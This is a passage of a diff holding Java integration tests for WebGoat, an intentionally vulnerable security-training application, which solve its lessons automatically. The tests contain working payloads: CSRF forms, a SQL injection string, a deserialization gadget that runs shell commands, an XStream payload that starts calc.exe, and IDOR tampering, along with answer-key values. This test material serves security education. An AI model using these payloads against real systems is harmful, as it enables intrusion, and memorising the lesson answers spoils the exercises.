.post(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);
// get the users
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
}
private void assignment2() {
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
}
private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
}
}

View File

@ -0,0 +1,287 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment;
public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+ "</form></body></html>";
private static final String trickHTML4 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+ "<input type=\"hidden\" name=\"validateReq\""
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+ "</form>\n"
+ "</body></html>";
private static final String trickHTML7 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+ " method=\"POST\">\n"
+ "<input type=\"hidden\""
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+ " is the best!!' value='\"}' />\n"
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
+ "</form></body></html>";
private static final String trickHTML8 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
+ "</form></body></html>";
private String webwolfFileDir;
@BeforeEach
@SneakyThrows
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
uploadTrickHtml(
"csrf8.html",
trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
}
@TestFactory
Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList(
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
}
@AfterEach
public void shutdown() throws IOException {
// logout();
login(); // because old cookie got replaced and invalidated
startLesson("CSRF", false);
checkResults("CSRF");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
// remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
}
// upload trick html
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
}
private String callTrickHtml(String htmlName) {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\""));
return result;
}
private void checkAssignment3(String goatURL) {
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.post(goatURL)
.then()
.extract()
.path("flag")
.toString();
Map<String, Object> params = new HashMap<>();
params.put("confirmFlagVal", flag);
checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
}
private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put(
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract()
.path("lessonCompleted");
assertTrue(result);
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+ " best!!",
"\"}");
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.contentType(ContentType.TEXT)
.body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+ " the best!!=\"}")
.post(goatURL)
.then()
.extract()
.asString();
flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\""));
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
// first make sure there is an attack csrf- user
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
// login and get the new cookie
String newCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.params(params)
.post(goatURL)
.then()
.extract()
.cookie("JSESSIONID");
// select the lesson
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
// click on the assignment
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(webGoatUrlConfig.url("csrf/login"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted");
assertThat(result).isTrue();
login();
startLesson("CSRF", false);
Overview[] assignments =
RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie())
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
.then()
.extract()
.jsonPath()
.getObject("$", Overview[].class);
assertThat(assignments)
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
.extracting(o -> o.solved)
.containsExactly(true);
}
@Data
private static class Overview {
Assignment assignment;
boolean solved;
}
/** Try to register the new user. Ignore the result. */
private void registerCSRFUser() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc"));
}
}

View File

@ -0,0 +1,147 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.springframework.http.HttpStatus;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/logo"))
.then()
.statusCode(200)
.extract()
.asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/1"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
checkResults("Challenge1");
}
@Test
void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/5"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
checkResults("Challenge5");
}
@Test
void testChallenge7() {
startLesson("Challenge7");
cleanMailbox();
// One should first be able to download git.zip from WebGoat
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/7/.git"))
.then()
.statusCode(200)
.extract()
.asString();
// Should email WebWolf inbox this should give a hint to the link being static
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", getUser() + "@webgoat.org")
.post(webGoatUrlConfig.url("challenge/7"))
.then()
.statusCode(200)
.extract()
.asString();
// Check whether email has been received
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
// Call reset link with admin link
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(
webGoatUrlConfig.url("challenge/7/reset-password/{link}"),
"375afe1104f4a487a73823c50a9292a2")
.then()
.statusCode(HttpStatus.ACCEPTED.value())
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
}
}

View File

@ -0,0 +1,160 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.fail;
import io.restassured.RestAssured;
import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.interfaces.RSAPrivateKey;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
public class CryptoIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("Cryptography");
checkAssignment2();
checkAssignment3();
// Assignment 4
try {
checkAssignment4();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
fail();
}
try {
checkAssignmentSigning();
} catch (Exception e) {
e.printStackTrace();
fail();
}
checkAssignmentDefaults();
checkResults("Cryptography");
}
private void checkAssignment2() {
String basicEncoding =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/encoding/basic"))
.then()
.extract()
.asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
String answer_user = decodedString.split(":")[0];
String answer_pwd = decodedString.split(":")[1];
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
}
private void checkAssignment3() {
String answer_1 = "databasepassword";
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
}
private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/md5"))
.then()
.extract()
.asString();
String sha256Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/sha256"))
.then()
.extract()
.asString();
String answer_1 = "unknown";
String answer_2 = "unknown";
for (String secret : HashingAssignment.SECRETS) {
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
answer_1 = secret;
}
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
answer_2 = secret;
}
}
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2);
checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
}
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/signing/getprivate"))
.then()
.extract()
.asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
String signature = CryptoUtil.signMessage(modulus, privateKey);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("modulus", modulus);
params.put("signature", signature);
checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
}
private void checkAssignmentDefaults() {
String text =
new String(
Base64.getDecoder()
.decode(
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
.getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secretText", text);
params.put("secretFileName", "default_secret");
checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
}
}

View File

@ -0,0 +1,37 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
public class DeserializationIntegrationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase();
@Test
public void runTests() throws IOException {
startLesson("InsecureDeserialization");
Map<String, Object> params = new HashMap<>();
params.clear();
if (OS.indexOf("win") > -1) {
params.put(
"token",
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else {
params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
checkResults("InsecureDeserialization");
}
}

View File

@ -0,0 +1,224 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import org.springframework.util.StringUtils;
public class GeneralLessonIntegrationTest extends IntegrationTest {
@Test
public void httpBasics() {
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "4");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "33");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
checkResults("HttpBasics");
}
@Test
public void solveAsOtherUserHttpBasics() {
login("steven");
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
}
@Test
public void httpProxies() {
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("HttpProxies");
}
@Test
public void cia() {
startLesson("CIA");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put(
"question_0_solution",
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+ " website.");
params.put(
"question_1_solution",
"Solution 1: By changing the names and emails of one or more users stored in a database.");
params.put(
"question_2_solution",
"Solution 4: By launching a denial of service attack on the servers.");
params.put(
"question_3_solution",
"Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
checkResults("CIA");
}
@Test
public void vulnerableComponents() {
if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
String solution =
"<contact class='dynamic-proxy'>\n"
+ "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
+ " <handler class='java.beans.EventHandler'>\n"
+ " <target class='java.lang.ProcessBuilder'>\n"
+ " <command>\n"
+ " <string>calc.exe</string>\n"
+ " </command>\n"
+ " </target>\n"
+ " <action>start</action>\n"
+ " </handler>\n"
+ "</contact>";
startLesson("VulnerableComponents");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("payload", solution);
checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
checkResults("VulnerableComponents");
}
}
@Test
public void insecureLogin() {
startLesson("InsecureLogin");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "CaptainJack");
params.put("password", "BlackPearl");
checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
checkResults("InsecureLogin");
}
@Test
public void securePasswords() {
startLesson("SecurePasswords");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords");
startLesson("AuthBypass");
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("HttpProxies");
}
@Test
public void chrome() {
startLesson("ChromeDevTools");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
params.clear();
params.put("number", "24");
params.put("network_num", "24");
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
checkResults("ChromeDevTools");
}
@Test
public void authByPass() {
startLesson("AuthBypass");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
}
@Test
public void lessonTemplate() {
startLesson("LessonTemplate");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "secr37Value");
params.put("param2", "Main");
checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
checkResults("LessonTemplate");
}
}

View File

@ -0,0 +1,104 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach
public void init() {
startLesson("IDOR");
}
@TestFactory
Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList(
dynamicTest("assignment 2 - login", this::loginIDOR),
dynamicTest("profile", this::profile));
}
@AfterEach
public void shutdown() {
checkResults("IDOR");
}
private void loginIDOR() {
Map<String, Object> params = new HashMap<>();
params.put("username", "tom");
params.put("password", "cat");
checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
}
private void profile() {
// View profile - assignment 3a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile"))
.then()
.statusCode(200)
.extract()
.path("userId"),
CoreMatchers.is("2342384"));
// Show difference - assignment 3b
Map<String, Object> params = new HashMap<>();
params.put("attributes", "userId,role");
checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
// View profile another way - assignment 4
params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
// assignment 5a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
// assignment 5b
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) // part of the lesson
.body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}")
.put(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
}

View File

@ -0,0 +1,256 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static io.restassured.RestAssured.given;
import io.restassured.RestAssured;
import io.restassured.filter.log.LogDetail;
import io.restassured.http.ContentType;
import java.util.Map;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.ServerUrlConfig;
import org.springframework.http.HttpStatus;
public abstract class IntegrationTest {
protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
@Getter private String webGoatCookie;
@Getter private String webWolfCookie;
@Getter private final String user = "webgoat";
@BeforeEach
public void login() {
login("webgoat");
}
protected void login(String user) {
String location =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webGoatUrlConfig.url("login"))
.then()
.log()
.ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.header("Location");
if (location.endsWith("?error")) {
webGoatCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
} else {
webGoatCookie =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webGoatUrlConfig.url("login"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
}
webWolfCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webWolfUrlConfig.url("login"))
.then()
.statusCode(302)
.cookie("WEBWOLFSESSION")
.extract()
.cookie("WEBWOLFSESSION");
}
@AfterEach
public void logout() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("logout"))
.then()
.statusCode(200);
}
public void startLesson(String lessonName) {
startLesson(lessonName, false);
}
public void startLesson(String lessonName, boolean restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
if (restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
.then()
.statusCode(200);
}
}
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkResults(String lesson) {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
.andReturn();
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkResults() {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
